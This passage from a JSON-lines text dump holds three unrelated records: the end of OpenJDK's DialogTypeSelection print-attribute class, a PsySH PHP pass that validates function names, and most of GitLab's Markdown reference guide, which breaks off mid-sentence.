www.oracle.com if you need additional information or have any\n * questions.\n */\n\npackage javax.print.attribute.standard;\n\nimport javax.print.attribute.Attribute;\nimport javax.print.attribute.EnumSyntax;\nimport javax.print.attribute.PrintRequestAttribute;\n\n/**\n * Class {@code DialogTypeSelection} is a printing attribute class, an\n * enumeration, that indicates the user dialog type to be used for specifying\n * printing options. If {@code NATIVE} is specified, then where available, a\n * native platform dialog is displayed. If {@code COMMON} is specified, a\n * cross-platform print dialog is displayed.\n * <p>\n * This option to specify a native dialog for use with an IPP attribute set\n * provides a standard way to reflect back of the setting and option changes\n * made by a user to the calling application, and integrates the native dialog\n * into the Java printing APIs. But note that some options and settings in a\n * native dialog may not necessarily map to IPP attributes as they may be\n * non-standard platform, or even printer specific options.\n * <p>\n * <b>IPP Compatibility:</b> This is not an IPP attribute.\n *\n * @since 1.7\n */\npublic final class DialogTypeSelection extends EnumSyntax\n implements PrintRequestAttribute {\n\n /**\n * Use serialVersionUID from JDK 1.7 for interoperability.\n */\n private static final long serialVersionUID = 7518682952133256029L;\n\n /**\n * The native platform print dialog should be used.\n */\n public static final DialogTypeSelection\n NATIVE = new DialogTypeSelection(0);\n\n /**\n * The cross-platform print dialog should be used.\n */\n public static final DialogTypeSelection\n COMMON = new DialogTypeSelection(1);\n\n /**\n * Constructs a new dialog type selection enumeration value with the given\n * integer value.\n *\n * @param value Integer value\n */\n protected DialogTypeSelection(int value) {\n super(value);\n }\n\n /**\n * The string table for class {@code DialogTypeSelection}.\n */\n private static final String[] myStringTable = {\n \"native\", \"common\"};\n\n /**\n * The enumeration value table for class\n * {@code DialogTypeSelection}.\n */\n private static final DialogTypeSelection[] myEnumValueTable = {\n NATIVE,\n COMMON\n };\n\n /**\n * Returns the string table for class {@code DialogTypeSelection}.\n */\n protected String[] getStringTable() {\n return myStringTable;\n }\n\n /**\n * Returns the enumeration value table for class\n * {@code DialogTypeSelection}.\n */\n protected EnumSyntax[] getEnumValueTable() {\n return myEnumValueTable;\n }\n\n /**\n * Gets the printing attribute class which is to be used as the \"category\"\n * for this printing attribute value.\n * <p>\n * For class {@code DialogTypeSelection} the category is class\n * {@code DialogTypeSelection} itself.\n *\n * @return printing attribute class (category), an instance of class\n * {@link Class java.lang.Class}\n */\n public final Class<? extends Attribute> getCategory() {\n return DialogTypeSelection.class;\n }\n\n /**\n * Gets the name of the category of which this attribute value is an\n * instance.\n * <p>\n * For class {@code DialogTypeSelection} the category name is\n * {@code \"dialog-type-selection\"}.\n *\n * @return attribute category name\n */\n public final String getName() {\n return \"dialog-type-selection\";\n }\n}\n"} {"text": "<?php\n\n/*\n * This file is part of Psy Shell.\n *\n * (c) 2012-2020 Justin Hileman\n *\n * For the full copyright and license information, please view the LICENSE\n * file that was distributed with this source code.\n */\n\nnamespace Psy\\CodeCleaner;\n\nuse PhpParser\\Node;\nuse PhpParser\\Node\\Expr;\nuse PhpParser\\Node\\Expr\\FuncCall;\nuse PhpParser\\Node\\Expr\\Variable;\nuse PhpParser\\Node\\Stmt\\Do_;\nuse PhpParser\\Node\\Stmt\\Function_;\nuse PhpParser\\Node\\Stmt\\If_;\nuse PhpParser\\Node\\Stmt\\Switch_;\nuse PhpParser\\Node\\Stmt\\While_;\nuse Psy\\Exception\\FatalErrorException;\n\n/**\n * Validate that function calls will succeed.\n *\n * This pass throws a FatalErrorException rather than letting PHP run\n * headfirst into a real fatal error and die.\n */\nclass ValidFunctionNamePass extends NamespaceAwarePass\n{\n private $conditionalScopes = 0;\n\n /**\n * Store newly defined function names on the way in, to allow recursion.\n *\n * @param Node $node\n */\n public function enterNode(Node $node)\n {\n parent::enterNode($node);\n\n if (self::isConditional($node)) {\n $this->conditionalScopes++;\n } elseif ($node instanceof Function_) {\n $name = $this->getFullyQualifiedName($node->name);\n\n // @todo add an \"else\" here which adds a runtime check for instances where we can't tell\n // whether a function is being redefined by static analysis alone.\n if ($this->conditionalScopes === 0) {\n if (\\function_exists($name) ||\n isset($this->currentScope[\\strtolower($name)])) {\n $msg = \\sprintf('Cannot redeclare %s()', $name);\n throw new FatalErrorException($msg, 0, \\E_ERROR, null, $node->getLine());\n }\n }\n\n $this->currentScope[\\strtolower($name)] = true;\n }\n }\n\n /**\n * Validate that function calls will succeed.\n *\n * @throws FatalErrorException if a function is redefined\n * @throws FatalErrorException if the function name is a string (not an expression) and is not defined\n *\n * @param Node $node\n */\n public function leaveNode(Node $node)\n {\n if (self::isConditional($node)) {\n $this->conditionalScopes--;\n } elseif ($node instanceof FuncCall) {\n // if function name is an expression or a variable, give it a pass for now.\n $name = $node->name;\n if (!$name instanceof Expr && !$name instanceof Variable) {\n $shortName = \\implode('\\\\', $name->parts);\n $fullName = $this->getFullyQualifiedName($name);\n $inScope = isset($this->currentScope[\\strtolower($fullName)]);\n if (!$inScope && !\\function_exists($shortName) && !\\function_exists($fullName)) {\n $message = \\sprintf('Call to undefined function %s()', $name);\n throw new FatalErrorException($message, 0, \\E_ERROR, null, $node->getLine());\n }\n }\n }\n }\n\n private static function isConditional(Node $node)\n {\n return $node instanceof If_ ||\n $node instanceof While_ ||\n $node instanceof Do_ ||\n $node instanceof Switch_;\n }\n}\n"} {"text": "---\nstage: Create\ngroup: Source Code\ninfo: \"To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers\"\ntype: reference, howto\n---\n\n# GitLab Markdown\n\nThis Markdown guide is **valid only for GitLab's internal Markdown rendering system for entries and files**.\nIt is **not** valid for the [GitLab documentation website](https://docs.gitlab.com)\nor [GitLab's main website](https://about.gitlab.com), as they both use\n[Kramdown](https://kramdown.gettalong.org) as their Markdown engine. The documentation\nwebsite uses an extended Kramdown gem, [GitLab Kramdown](https://gitlab.com/gitlab-org/gitlab_kramdown).\nConsult the [GitLab Kramdown Guide](https://about.gitlab.com/handbook/markdown-guide/)\nfor a complete Kramdown reference.\n\nNOTE: **Note:**\nWe encourage you to view this document as [rendered by GitLab itself](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/user/markdown.md).\n\n## GitLab Flavored Markdown (GFM)\n\nGitLab uses \"GitLab Flavored Markdown\" (GFM). It extends the [CommonMark specification](https://spec.commonmark.org/current/)\n(which is based on standard Markdown) in several ways to add additional useful functionality.\nIt was inspired by [GitHub Flavored Markdown](https://docs.github.com/en/github/writing-on-github/basic-writing-and-formatting-syntax).\n\nYou can use GFM in the following areas:\n\n- Comments\n- Issues\n- Merge requests\n- Milestones\n- Snippets (the snippet must be named with a `.md` extension)\n- Wiki pages\n- Markdown documents inside repositories\n- Epics **(ULTIMATE)**\n\nYou can also use other rich text files in GitLab. You might have to install a dependency\nto do so. Please see the [`gitlab-markup` gem project](https://gitlab.com/gitlab-org/gitlab-markup)\nfor more information.\n\n### Transition from Redcarpet to CommonMark\n\nSince 11.1, GitLab uses the [CommonMark Ruby Library](https://github.com/gjtorikian/commonmarker)\nfor Markdown processing of all new issues, merge requests, comments, and other Markdown\ncontent in the GitLab system. Since 11.3, wiki pages and Markdown files (`*.md`) in\nrepositories are also processed with CommonMark. As of 11.8, the [Redcarpet Ruby library](https://github.com/vmg/redcarpet)\nhas been removed and all issues and comments, including those from pre-11.1, are now processed\nusing the [CommonMark Ruby Library](https://github.com/gjtorikian/commonmarker).\n\nThe documentation website had its [Markdown engine migrated from Redcarpet to Kramdown](https://gitlab.com/gitlab-org/gitlab-docs/-/merge_requests/108)\nin October 2018.\n\nYou may have older issues, merge requests, or Markdown documents in your\nrepository that were written using some of the nuances of GitLab's RedCarpet version\nof Markdown. Since CommonMark uses slightly stricter syntax, these documents\nmight now appear a little differently since we have transitioned to CommonMark.\n\nFor example, numbered lists with nested lists may\nrender incorrectly:\n\n```markdown\n1. Chocolate\n - dark\n - milk\n```\n\nTo correct their rendering, add a space to each nested item to align the `-` with the first\ncharacter of the top list item (`C` in this case):\n\n```markdown\n1. Chocolate\n - dark\n - milk\n```\n\n1. Chocolate\n - dark\n - milk\n\nNOTE: **Note:**\nWe flag any significant differences between Redcarpet and CommonMark\n Markdown in this document.\n\nIf you have a large volume of Markdown files, it can be tedious to determine\nif they display correctly or not. You can use the\n[diff_redcarpet_cmark](https://gitlab.com/digitalmoksha/diff_redcarpet_cmark)\ntool (not an officially supported product) to generate a list of files and the\ndifferences between how RedCarpet and CommonMark render the files. It gives\nan indication if anything needs to be changed - often nothing needs\nto change.\n\n### GFM extends standard Markdown\n\nGitLab makes full use of the standard (CommonMark) formatting, but also includes additional\nfunctionality useful for GitLab users.\n\nIt makes use of [new Markdown features](#new-gfm-markdown-extensions),\nnot found in standard Markdown:\n\n- [Color \"chips\" written in HEX, RGB or HSL](#colors)\n- [Diagrams and flowcharts](#diagrams-and-flowcharts)\n- [Emoji](#emoji)\n- [Front matter](#front-matter)\n- [Inline diffs](#inline-diff)\n- [Math equations and symbols written in LaTeX](#math)\n- [Special GitLab references](#special-gitlab-references)\n- [Task Lists](#task-lists)\n- [Table of Contents](#table-of-contents)\n- [Wiki specific Markdown](#wiki-specific-markdown)\n\nIt also has [extended Markdown features](#standard-markdown-and-extensions-in-gitlab), without\nchanging how standard Markdown is used:\n\n| Standard Markdown | Extended Markdown in GitLab |\n| ------------------------------------- | ------------------------- |\n| [blockquotes](#blockquotes) | [multi-line blockquotes](#multiline-blockquote) |\n| [code blocks](#code-spans-and-blocks) | [colored code and syntax highlighting](#colored-code-and-syntax-highlighting) |\n| [emphasis](#emphasis) | [multiple underscores in words](#multiple-underscores-in-words-and-mid-word-emphasis)\n| [headers](#headers) | [linkable Header IDs](#header-ids-and-links) |\n| [images](#images) | [embedded videos](#videos) and [audio](#audio) |\n| [line breaks](#line-breaks) | [more line break control](#newlines) |\n| [links](#links) | [automatically linking URLs](#url-auto-linking) |\n\n## New GFM Markdown extensions\n\n### Colors\n\n> If this is not rendered correctly, [view it in GitLab itself](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/user/markdown.md#colors).\n\nIt's possible to have color written in HEX, RGB, or HSL format rendered with a color\nindicator.\n\nSupported formats (named colors are not supported):\n\n- HEX: `` `#RGB[A]` `` or `` `#RRGGBB[AA]` ``\n- RGB: `` `RGB[A](R, G, B[, A])` ``\n- HSL: `` `HSL[A](H, S, L[, A])` ``\n\nColor written inside backticks is followed by a color \"chip\":\n\n```markdown\n- `#F00`\n- `#F00A`\n- `#FF0000`\n- `#FF0000AA`\n- `RGB(0,255,0)`\n- `RGB(0%,100%,0%)`\n- `RGBA(0,255,0,0.3)`\n- `HSL(540,70%,50%)`\n- `HSLA(540,70%,50%,0.3)`\n```\n\n- `#F00`\n- `#F00A`\n- `#FF0000`\n- `#FF0000AA`\n- `RGB(0,255,0)`\n- `RGB(0%,100%,0%)`\n- `RGBA(0,255,0,0.3)`\n- `HSL(540,70%,50%)`\n- `HSLA(540,70%,50%,0.3)`\n\n### Diagrams and flowcharts\n\nIt's possible to generate diagrams and flowcharts from text in GitLab using [Mermaid](https://mermaidjs.github.io/) or [PlantUML](https://plantuml.com).\n\n#### Mermaid\n\n> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/15107) in GitLab 10.3.\n\nVisit the [official page](https://mermaidjs.github.io/) for more details. If you're new to using Mermaid or need help identifying issues in your Mermaid code, the [Mermaid Live Editor](https://mermaid-js.github.io/mermaid-live-editor/) is a helpful tool for creating and resolving issues within Mermaid diagrams.\n\nIn order to generate a diagram or flowchart, you should write your text inside the `mermaid` block:\n\n````markdown\n```mermaid\ngraph TD;\n A-->B;\n A-->C;\n B-->D;\n C-->D;\n```\n````\n\n```mermaid\ngraph TD;\n A-->B;\n A-->C;\n B-->D;\n C-->D;\n```\n\nSubgraphs can also be included:\n\n````markdown\n```mermaid\ngraph TB\n\n SubGraph1 --> SubGraph1Flow\n subgraph \"SubGraph 1 Flow\"\n SubGraph1Flow(SubNode 1)\n SubGraph1Flow -- Choice1 --> DoChoice1\n SubGraph1Flow -- Choice2 --> DoChoice2\n end\n\n subgraph \"Main Graph\"\n Node1[Node 1] --> Node2[Node 2]\n Node2 --> SubGraph1[Jump to SubGraph1]\n SubGraph1 --> FinalThing[Final Thing]\nend\n```\n````\n\n```mermaid\ngraph TB\n\n SubGraph1 --> SubGraph1Flow\n subgraph \"SubGraph 1 Flow\"\n SubGraph1Flow(SubNode 1)\n SubGraph1Flow -- Choice1 --> DoChoice1\n SubGraph1Flow -- Choice2 --> DoChoice2\n end\n\n subgraph \"Main Graph\"\n Node1[Node 1] --> Node2[Node 2]\n Node2 --> SubGraph1[Jump to SubGraph1]\n SubGraph1 --> FinalThing[Final Thing]\nend\n```\n\n#### PlantUML\n\nTo make PlantUML available in GitLab, a GitLab administrator needs to enable it first. Read more in [PlantUML & GitLab](../administration/integration/plantuml.md).\n\n### Emoji\n\n> If this is not rendered correctly, [view it in GitLab itself](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/user/markdown.md#emoji).\n\n```markdown\nSometimes you want to :monkey: around a bit and add some :star2: to your :speech_balloon:. Well we have a gift for you:\n\n:zap: You can use emoji anywhere GFM is supported. :v:\n\nYou can use it to point out a :bug: or warn about :speak_no_evil: patches. And if someone improves your really :snail: code, send them some :birthday:. People will :heart: you for that.\n\nIf you're new to this, don't be :fearful:. You can join the emoji :family:. All you need to do is to look up one of the supported codes.\n\nConsult the [Emoji Cheat Sheet](https://www.emojicopy.com) for a list of all supported emoji codes. :thumbsup:\n```\n\nSometimes you want to <img src=\"https://gitlab.com/gitlab-org/gitlab-foss/raw/master/app/assets/images/emoji/monkey.png\" width=\"20px\" height=\"20px\" style=\"display:inline;margin:0\"> around a bit and add some <img src=\"https://gitlab.com/gitlab-org/gitlab-foss/raw/master/app/assets/images/emoji/star2.png\" width=\"20px\" height=\"20px\" style=\"display:inline;margin:0\"> to your <img src=\"https://gitlab.com/gitlab-org/gitlab-foss/raw/master/app/assets/images/emoji/speech_balloon.png\" width=\"20px\" height=\"20px\" style=\"display:inline;margin:0\">. Well we have a gift for you:\n\n<img src=\"https://gitlab.com/gitlab-org/gitlab-foss/raw/master/app/assets/images/emoji/zap.png\" width=\"20px\" height=\"20px\" style=\"display:inline;margin:0\">You can use emoji anywhere GFM is supported. <img src=\"https://gitlab.com/gitlab-org/gitlab-foss/raw/master/app/assets/images/emoji/v.png\" width=\"20px\" height=\"20px\" style=\"display:inline;margin:0\">\n\nYou can use it to point out a <img src=\"https://gitlab.com/gitlab-org/gitlab-foss/raw/master/app/assets/images/emoji/bug.png\" width=\"20px\" height=\"20px\" style=\"display:inline;margin:0\"> or warn about <img src=\"https://gitlab.com/gitlab-org/gitlab-foss/raw/master/app/assets/images/emoji/speak_no_evil.png\" width=\"20px\" height=\"20px\" style=\"display:inline;margin:0\"> patches. And if someone improves your really <img src=\"https://gitlab.com/gitlab-org/gitlab-foss/raw/master/app/assets/images/emoji/snail.png\" width=\"20px\" height=\"20px\" style=\"display:inline;margin:0\"> code, send them some <img src=\"https://gitlab.com/gitlab-org/gitlab-foss/raw/master/app/assets/images/emoji/birthday.png\" width=\"20px\" height=\"20px\" style=\"display:inline;margin:0\">. People will <img src=\"https://gitlab.com/gitlab-org/gitlab-foss/raw/master/app/assets/images/emoji/heart.png\" width=\"20px\" height=\"20px\" style=\"display:inline;margin:0\"> you for that.\n\nIf you're new to this, don't be <img src=\"https://gitlab.com/gitlab-org/gitlab-foss/raw/master/app/assets/images/emoji/fearful.png\" width=\"20px\" height=\"20px\" style=\"display:inline;margin:0\">. You can join the emoji <img src=\"https://gitlab.com/gitlab-org/gitlab-foss/raw/master/app/assets/images/emoji/family.png\" width=\"20px\" height=\"20px\" style=\"display:inline;margin:0\">. All you need to do is to look up one of the supported codes.\n\nConsult the [Emoji Cheat Sheet](https://www.webfx.com/tools/emoji-cheat-sheet/) for a list of all supported emoji codes. <img src=\"https://gitlab.com/gitlab-org/gitlab-foss/raw/master/app/assets/images/emoji/thumbsup.png\" width=\"20px\" height=\"20px\" style=\"display:inline;margin:0\">\n\nNOTE: **Note:**\nThe emoji example above uses hard-coded images for this documentation. The emoji,\nwhen rendered within GitLab, may appear different depending on the OS and browser used.\n\nMost emoji are natively supported on macOS, Windows, iOS, Android, and fall back on image-based emoji where there is no support.\n\nNOTE: **Note:**\nOn Linux, you can download [Noto Color Emoji](https://www.google.com/get/noto/help/emoji/)\nto get full native emoji support. Ubuntu 18.04 (like many modern Linux distributions) has\nthis font installed by default.\n\n### Front matter\n\n> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/23331) in GitLab 11.6.\n\nFront matter is metadata included at the beginning of a Markdown document, preceding\nits content. This data can be used by static site generators such as [Jekyll](https://jekyllrb.com/docs/front-matter/),\n[Hugo](https://gohugo.io/content-management/front-matter/), and many other applications.\n\nWhen you view a Markdown file rendered by GitLab, any front matter is displayed as-is,\nin a box at the top of the document, before the rendered HTML content. To view an example,\nyou can toggle between the source and rendered version of a [GitLab documentation file](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/README.md).\n\nIn GitLab, front matter is only used in Markdown files and wiki pages, not the other\nplaces where Markdown formatting is supported. It must be at the very top of the document\nand must be between delimiters, as explained below.\n\nThe following delimiters are supported:\n\n- YAML (`---`):\n\n ```yaml\n ---\n title: About Front Matter\n example:\n language: yaml\n ---\n ```\n\n- TOML (`+++`):\n\n ```toml\n +++\n title = \"About Front Matter\"\n [example]\n language = \"toml\"\n +++\n ```\n\n- JSON (`;;;`):\n\n ```json\n ;;;\n {\n \"title\": \"About Front Matter\"\n \"example\": {\n \"language\": \"json\"\n }\n }\n ;;;\n ```\n\nOther languages are supported by adding a specifier to any of the existing\ndelimiters. For example:\n\n```php\n---php\n$title = \"About Front Matter\";\n$example = array(\n 'language' => \"php\",\n);\n---\n```\n\n### Inline diff\n\n> If this is not rendered correctly, [view it in GitLab itself](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/user/markdown.md#inline-diff).\n\nWith inline diff tags you can display `{+ additions +}` or `[- deletions -]`.\n\nThe wrapping tags can be either curly braces or square brackets:\n\n```markdown\n- {+ addition 1 +}\n- [+ addition 2 +]\n- {- deletion 3 -}\n- [- deletion 4 -]\n```\n\n![Inline diff as rendered by GitLab's interface](img/inline_diff_01_v13_3.png)\n\n---\n\nHowever, the wrapping tags can't be mixed:\n\n```markdown\n- {+ addition +]\n- [+ addition +}\n- {- deletion -]\n- [- deletion -}\n```\n\nIf your diff includes words in `` `code` `` font, make sure to escape each backtick `` ` `` with a\nbackslash `\\`, otherwise the diff highlight don't render correctly:\n\n```markdown\n- {+ Just regular text +}\n- {+ Text with `backticks` inside +}\n- {+ Text with escaped \\`backticks\\` inside +}\n```\n\n![Inline diff with mixed formatting, as rendered by GitLab's interface](img/inline_diff_02_v13_3.png)\n\n### Math\n\n> If this is not rendered correctly, [view it in GitLab itself](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/user/markdown.md#math).\n\nIt's possible to have math written with LaTeX syntax rendered using [KaTeX](https://github.com/KaTeX/KaTeX).\n\nMath written between dollar signs `$` are rendered inline with the text. Math written\ninside a [code block](#code-spans-and-blocks) with the language declared as `math`, are rendered\non a separate line:\n\n````markdown\nThis math is inline $`a^2+b^2=c^2`$.\n\nThis is on a separate line\n\n```math\na^2+b^2=c^2\n```\n````\n\nThis math is inline $`a^2+b^2=c^2`$.\n\nThis is on a separate line\n\n```math\na^2+b^2=c^2\n```\n\n_Be advised that KaTeX only supports a [subset](https://katex.org/docs/supported.html) of LaTeX._\n\nNOTE: **Note:**\nThis also works for the Asciidoctor `:stem: latexmath`. For details see\nthe [Asciidoctor user manual](https://asciidoctor.org/docs/user-manual/#activating-stem-support).\n\n### Special GitLab references\n\nGFM recognizes special GitLab related references. For example, you can reference\nan issue, a commit, a team member, or even the whole team within a project. GFM turns\nthat reference into a link so you can navigate between them.\n\nAdditionally, GFM recognizes certain cross-project references and also has a shorthand\nversion to reference other projects from the same namespace.\n\nGFM recognizes the following:\n\n| references | input | cross-project reference | shortcut within same namespace |\n| :------------------------------ | :------------------------- | :-------------------------------------- | :----------------------------- |\n| specific user | `@user_name` | | |\n| specific group | `@group_name` | | |\n| entire team | `@all` | | |\n| project | `namespace/project>` | | |\n| issue | ``#123`` | `namespace/project#123` | `project#123` |\n| merge request | `!123` | `namespace/project!123` | `project!123` |\n| snippet | `$123` | `namespace/project$123` | `project$123` |\n| epic **(ULTIMATE)** | `&123` | `group1/subgroup&123` | |\n| label by ID | `~123` | `namespace/project~123` | `project~123` |\n| one-word label by name | `~bug` | `namespace/project~bug` | `project~bug` |\n| multi-word label by name | `~\"feature request\"` | `namespace/project~\"feature request\"` | `project~\"feature request\"` |\n| scoped label by name | `~\"priority::high\"` | `namespace/project~\"priority::high\"` | `project~\"priority::high\"` |\n| project milestone by ID | `%123` | `namespace/project%123` | `project%123` |\n| one-word milestone by name | `%v1.23` | `namespace/project%v1.23` | `project%v1.23` |\n| multi-word milestone by name | `%\"release candidate\"` | `namespace/project%\"release candidate\"` | `project%\"release candidate\"` |\n| specific commit | `9ba12248` | `namespace/project@9ba12248` | `project@9ba12248` |\n| commit range comparison | `9ba12248...b19a04f5` | `namespace/project@9ba12248...b19a04f5` | `project@9ba12248...b19a04f5` |\n| repository file references | `[README](doc/README)` | | |\n| repository file line references | `[README](doc/README#L13)` | | |\n| [alert](../operations/incident_management/alerts.md) | `^alert#123` | `namespace/project^alert#123` | `project^alert#123` |\n\nFor example, referencing an issue by using `#123` will format the output as a link\nto issue number 123 with text `#123`. Likewise, a link to issue number 123 will be\nrecognized and formatted with text `#123`.\n\nIn addition to this, links to some objects are also recognized and formatted. Some examples of these are:\n\n- Comments on issues: `\"https://gitlab.com/gitlab-org/gitlab/-/issues/1234#note_101075757\"`, which are rendered as `#1234 (note1)`\n- The issues designs tab: `\"https://gitlab.com/gitlab-org/gitlab/-/issues/1234/designs\"`, which are rendered as `#1234 (designs)`.\n- Links to individual designs: `\"https://gitlab.com/gitlab-org/gitlab/-/issues/1234/designs/layout.png\"`, which are rendered as `#1234[layout.png]`.\n\n### Task lists\n\n> If this is not rendered correctly, [view it in GitLab itself](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/user/markdown.md#task-lists).\n\nYou can add task lists anywhere Markdown is supported, but you can only \"click\"\nto toggle the boxes if they are in issues, merge requests, or comments. In other\nplaces you must edit the Markdown manually to change the status by adding or\nremoving an `x` within the square brackets.\n\nTo create a task list, add a specially-formatted Markdown list. You can use either\nunordered or ordered lists:\n\n```markdown\n- [x] Completed task\n- [ ] Incomplete task\n - [ ] Sub-task 1\n - [x] Sub-task 2\n - [ ] Sub-task 3\n\n1. [x] Completed task\n1. [ ] Incomplete task\n 1. [ ] Sub-task 1\n 1. [x] Sub-task 2\n```\n\n![A task list as rendered by GitLab's interface](img/completed_tasks_v13_3.png)\n\n### Table of contents\n\nYou can add a table of contents to a Markdown file, wiki page, or issue/merge request\ndescription, by adding the tag `[[_TOC_]]` on its own line.\nIt appears as an unordered list that links to the various headers.\n\n```markdown\nThis is an intro sentence to my Wiki page.\n\n[[_TOC_]]\n\n## My first heading\n\nFirst section content.\n\n## My second heading\n\nSecond section content.\n```\n\n![Preview of an auto-generated TOC in a Wiki](img/markdown_toc_preview_v12_9.png)\n\n### Wiki-specific Markdown\n\nThe following examples show how links inside wikis behave.\n\n#### Wiki - direct page link\n\nA link which just includes the slug for a page points to that page,\n_at the base level of the wiki_.\n\nThis snippet would link to a `documentation` page at the root of your wiki:\n\n```markdown\n[Link to Documentation](documentation)\n```\n\n#### Wiki - direct file link\n\nLinks with a file extension point to that file, _relative to the current page_.\n\nIf the snippet below was placed on a page at `<your_wiki>/documentation/related`,\nit would link to `<your_wiki>/documentation/file.md`:\n\n```markdown\n[Link to File](file.md)\n```\n\n#### Wiki - hierarchical link\n\nA link can be constructed relative to the current wiki page using `./<page>`,\n`../<page>`, and so on.\n\nIf this snippet was placed on a page at `<your_wiki>/documentation/main`,\nit would link to `<your_wiki>/documentation/related`:\n\n```markdown\n[Link to Related Page](./related)\n```\n\nIf this snippet was placed on a page at `<your_wiki>/documentation/related/content`,\nit would link to `<your_wiki>/documentation/main`:\n\n```markdown\n[Link to Related Page](../main)\n```\n\nIf this snippet was placed on a page at `<your_wiki>/documentation/main`,\nit would link to `<your_wiki>/documentation/related.md`:\n\n```markdown\n[Link to Related Page](./related.md)\n```\n\nIf this snippet was placed on a page at `<your_wiki>/documentation/related/content`,\nit would link to `<your_wiki>/documentation/main.md`:\n\n```markdown\n[Link to Related Page](../main.md)\n```\n\n#### Wiki - root link\n\nA link starting with a `/` is relative to the wiki root.\n\nThis snippet links to `<wiki_root>/documentation`:\n\n```markdown\n[Link to Related Page](/documentation)\n```\n\nThis snippet links to `<wiki_root>/miscellaneous.md`:\n\n```markdown\n[Link to Related Page](/miscellaneous.md)\n```\n\n### Embedding metrics in GitLab Flavored Markdown\n\nMetric charts can be embedded within GitLab Flavored Markdown. See [Embedding Metrics within GitLab flavored Markdown](../operations/metrics/embed.md) for more details.\n\n## Standard Markdown and extensions in GitLab\n\nAll standard Markdown formatting should work as expected within GitLab. Some standard\nfunctionality is extended with additional features, without affecting the standard usage.\nIf a functionality is extended, the new option is listed as a sub-section.\n\n### Blockquotes\n\nBlockquotes are useful to highlight information, such as a side-note. It's generated\nby starting the lines of the blockquote with `>`:\n\n```markdown\n> Blockquotes are very handy to emulate reply text.\n> This line is part of the same quote.\n\nQuote break.\n\n> This is a very long line that is still quoted properly when it wraps. Oh boy let's keep writing to make sure this is long enough to actually wrap for everyone. Oh, you can *put* **Markdown** into a blockquote.\n```\n\n> Blockquotes are very handy to emulate reply text.\n> This line is part of the same quote.\n\nQuote break.\n\n> This is a very long line that is still quoted properly when it wraps. Oh boy let's keep writing to make sure this is long enough to actually wrap for everyone. Oh, you can *put* **Markdown** into a blockquote.\n\n#### Multiline blockquote\n\n> If this is not rendered correctly, [view it in GitLab itself](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/user/markdown.md#multiline-blockquote).\n\nGFM extends the standard Markdown standard by also supporting multi-line blockquotes\nfenced by `>>>`:\n\n```markdown\n>>>\nIf you paste a message from somewhere else\n\nthat spans multiple lines,\n\nyou can quote that without having to manually prepend `>` to every line!\n>>>\n```\n\n>>>\nIf you paste a message from somewhere else\n\nthat spans multiple lines,\n\nyou can quote that without having to manually prepend `>` to every line!\n>>>\n\n### Code spans and blocks\n\nYou can highlight anything that should be viewed as code and not simple text.\n\nSimple inline code is highlighted with single backticks `` ` ``:\n\n```markdown\nInline `code` has `back-ticks around` it.\n```\n\nInline `code` has `back-ticks around` it.\n\n---\n\nSimilarly, a whole block of code can be fenced with triple backticks (```` ``` ````),\ntriple tildes (`~~~`), or indented 4 or more spaces to achieve a similar effect for\na larger body of code.\n\n````markdown\n```python\ndef function():\n #indenting works just fine in the fenced code block\n s = \"Python code\"\n print s\n```\n\n Using 4 spaces\n is like using\n 3-backtick fences.\n````\n\n```plaintext\n~~~\nTildes are OK too.\n~~~\n```\n\nThe three examples above render as:\n\n```python\ndef function():\n #indenting works just fine in the fenced code block\n s = \"Python code\"\n print s\n```\n\n```plaintext\nUsing 4 spaces\nis like using\n3-backtick fences.\n```\n\n```plaintext\nTildes are OK too.\n```\n\n#### Colored code and syntax highlighting\n\n> If this is not rendered correctly, [view it in GitLab itself](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/user/markdown.md#colored-code-and-syntax-highlighting).\n\nGitLab uses the [Rouge Ruby library](http://rouge.jneen.net/) for more colorful syntax\nhighlighting in code blocks. For a list of supported languages visit the\n[Rouge project wiki](https://github.com/rouge-ruby/rouge/wiki/List-of-supported-languages-and-lexers).\nSyntax highlighting is only supported in code blocks, so it's not possible to highlight\ncode when it's inline.\n\nBlocks of code are fenced by lines with three back-ticks (```` ``` ````) or three tildes (`~~~`), and have\nthe language identified at the end of the first fence:\n\n````markdown\n```javascript\nvar s = \"JavaScript syntax highlighting\";\nalert(s);\n```\n\n```python\ndef function():\n #indenting works just fine in the fenced code block\n s = \"Python syntax highlighting\"\n print s\n```\n\n```ruby\nrequire 'redcarpet'\nmarkdown = Redcarpet.new(\"Hello World!\")\nputs markdown.to_html\n```\n\n```\nNo language indicated, so no syntax highlighting.\ns = \"There is no highlighting for this.\"\nBut let's throw in a <b>tag</b>.\n```\n````\n\nThe four examples above render as:\n\n```javascript\nvar s = \"JavaScript syntax highlighting\";\nalert(s);\n```\n\n```python\ndef function():\n #indenting works just fine in the fenced code block\n s = \"Python syntax highlighting\"\n print s\n```\n\n```ruby\nrequire 'redcarpet'\nmarkdown = Redcarpet.new(\"Hello World!\")\nputs markdown.to_html\n```\n\n```plaintext\nNo language indicated, so no syntax highlighting.\ns = \"There is no highlighting for this.\"\nBut let's throw in a <b>tag</b>.\n```\n\n### Emphasis\n\nThere are multiple ways to emphasize text in Markdown. You can italicize, bold, strikethrough,\nas well as combine these emphasis styles together.\n\nExamples:\n\n```markdown\nEmphasis, aka italics, with *asterisks* or _underscores_.\n\nStrong emphasis, aka bold, with double **asterisks** or __underscores__.\n\nCombined emphasis with **asterisks and _underscores_**.\n\nStrikethrough uses two tildes. ~~Scratch this.~~\n```\n\nEmphasis, aka italics, with *asterisks* or _underscores_.\n\nStrong emphasis, aka bold, with double **asterisks** or __underscores__.\n\nCombined emphasis with **asterisks and _underscores_**.\n\nStrikethrough uses two tildes. ~~Scratch this.~~\n\nNOTE: **Note:**\nStrikethrough is not part of the core Markdown standard, but is part of GFM.\n\n#### Multiple underscores in words and mid-word emphasis\n\n> If this is not rendered correctly, [view it in GitLab itself](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/user/markdown.md#multiple-underscores-in-words).\n\nIt's not usually useful to italicize just 